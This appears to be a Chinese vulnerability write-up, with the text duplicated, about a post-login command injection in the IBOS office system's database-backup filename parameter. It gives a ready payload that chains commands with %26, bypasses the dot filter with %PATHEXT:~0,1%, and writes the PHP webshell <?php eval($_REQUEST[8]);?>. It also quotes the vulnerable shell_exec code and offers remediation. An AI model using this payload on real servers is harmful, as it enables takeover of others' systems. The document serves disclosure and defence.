IBOS酷办公后台命令执行GetShell分析
字数 1094 2025-08-18 11:35:59

IBOS酷办公后台命令执行漏洞分析与利用

漏洞概述

IBOS酷办公系统在4.5.5及以前版本中存在一个后台命令执行漏洞,攻击者可以通过构造特殊的数据库备份文件名实现命令执行,进而获取Webshell。该漏洞需要攻击者已获取后台登录权限(可通过社工、弱口令或钓鱼等方式获得)。

漏洞影响

  • 受影响版本:IBOS 4.5.5及更早版本
  • 漏洞类型:命令注入
  • 危害等级:高危(需要后台权限)

漏洞复现步骤

  1. 获取后台权限:通过社工、弱口令或钓鱼等方式获取后台登录权限
  2. 进入数据库备份功能
    • 登录后台后点击"管理后台"
    • 找到"通用设置" → "数据库" → "备份"
  3. 设置备份选项
    • 在"更多选项"中,选择"数据备份方式"为"系统 MySQL Dump (Shell) 备份"
    • 点击"提交"按钮
  4. 拦截并修改请求
    • 使用Burp Suite等工具拦截数据包
    • 修改filename参数为恶意构造的值:
      2021%26echo "<?php eval($_REQUEST[8]);?>">2021%PATHEXT:~0,1%php%262021
      
  5. 放行请求
    • 虽然会返回错误,但漏洞利用已成功
  6. 验证利用结果
    • 在网站根目录下会生成2021.php文件
    • 该文件包含一句话木马:<?php eval($_REQUEST[8]);?>

漏洞分析

关键代码路径

漏洞主要存在于database.php文件中(该文件使用了Zend加密,需解密后分析)。

漏洞触发流程

  1. 用户提交备份请求时,系统获取filename参数:

    $fileName = core\utils\Env::getRequest("filename");
    
  2. 系统对文件名进行过滤(但过滤不彻底):

    $backupFileName = self::BACKUP_DIR . "/" . core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
    
  3. 过滤后的文件名被拼接到$dumpFile变量中:

    $dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . "/" . $backupFileName . ".sql";
    
  4. 最终$dumpFile被用于shell_exec命令执行:

    shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
    

绕过技巧

  1. 过滤绕过

    • 系统过滤了/, \, ., '等字符
    • 使用%PATHEXT:~0,1%获取环境变量中的点号(.)来绕过过滤
  2. 命令拼接

    • 使用&符号(URL编码为%26)执行多条命令
    • 构造的命令会先执行正常的备份操作,然后执行恶意命令

漏洞修复建议

  1. 升级到最新版本的IBOS系统
  2. 如果无法立即升级,可采取以下临时措施:
    • 严格限制后台访问权限
    • 在备份功能中添加更严格的文件名过滤
    • 禁用危险字符,包括命令分隔符
    • 使用白名单方式验证文件名

参考链接

  1. 绕过WAF运行命令执行漏洞的方法大全
  2. The database backup has Command Injection Vulnerability

总结

该漏洞展示了即使需要后台权限的漏洞也可能带来严重危害。开发人员应始终对用户输入进行严格验证,特别是当这些输入用于系统命令或文件操作时。同时,管理员应定期更新系统并限制后台访问权限,以降低此类漏洞被利用的风险。

IBOS酷办公后台命令执行漏洞分析与利用 漏洞概述 IBOS酷办公系统在4.5.5及以前版本中存在一个后台命令执行漏洞,攻击者可以通过构造特殊的数据库备份文件名实现命令执行,进而获取Webshell。该漏洞需要攻击者已获取后台登录权限(可通过社工、弱口令或钓鱼等方式获得)。 漏洞影响 受影响版本:IBOS 4.5.5及更早版本 漏洞类型:命令注入 危害等级:高危(需要后台权限) 漏洞复现步骤 获取后台权限 :通过社工、弱口令或钓鱼等方式获取后台登录权限 进入数据库备份功能 : 登录后台后点击"管理后台" 找到"通用设置" → "数据库" → "备份" 设置备份选项 : 在"更多选项"中,选择"数据备份方式"为"系统 MySQL Dump (Shell) 备份" 点击"提交"按钮 拦截并修改请求 : 使用Burp Suite等工具拦截数据包 修改 filename 参数为恶意构造的值: 放行请求 : 虽然会返回错误,但漏洞利用已成功 验证利用结果 : 在网站根目录下会生成 2021.php 文件 该文件包含一句话木马: <?php eval($_REQUEST[8]);?> 漏洞分析 关键代码路径 漏洞主要存在于 database.php 文件中(该文件使用了Zend加密,需解密后分析)。 漏洞触发流程 用户提交备份请求时,系统获取 filename 参数: 系统对文件名进行过滤(但过滤不彻底): 过滤后的文件名被拼接到 $dumpFile 变量中: 最终 $dumpFile 被用于 shell_exec 命令执行: 绕过技巧 过滤绕过 : 系统过滤了 / , \ , . , ' 等字符 使用 %PATHEXT:~0,1% 获取环境变量中的点号( . )来绕过过滤 命令拼接 : 使用 & 符号(URL编码为 %26 )执行多条命令 构造的命令会先执行正常的备份操作,然后执行恶意命令 漏洞修复建议 升级到最新版本的IBOS系统 如果无法立即升级,可采取以下临时措施: 严格限制后台访问权限 在备份功能中添加更严格的文件名过滤 禁用危险字符,包括命令分隔符 使用白名单方式验证文件名 参考链接 绕过WAF运行命令执行漏洞的方法大全 The database backup has Command Injection Vulnerability 总结 该漏洞展示了即使需要后台权限的漏洞也可能带来严重危害。开发人员应始终对用户输入进行严格验证,特别是当这些输入用于系统命令或文件操作时。同时,管理员应定期更新系统并限制后台访问权限,以降低此类漏洞被利用的风险。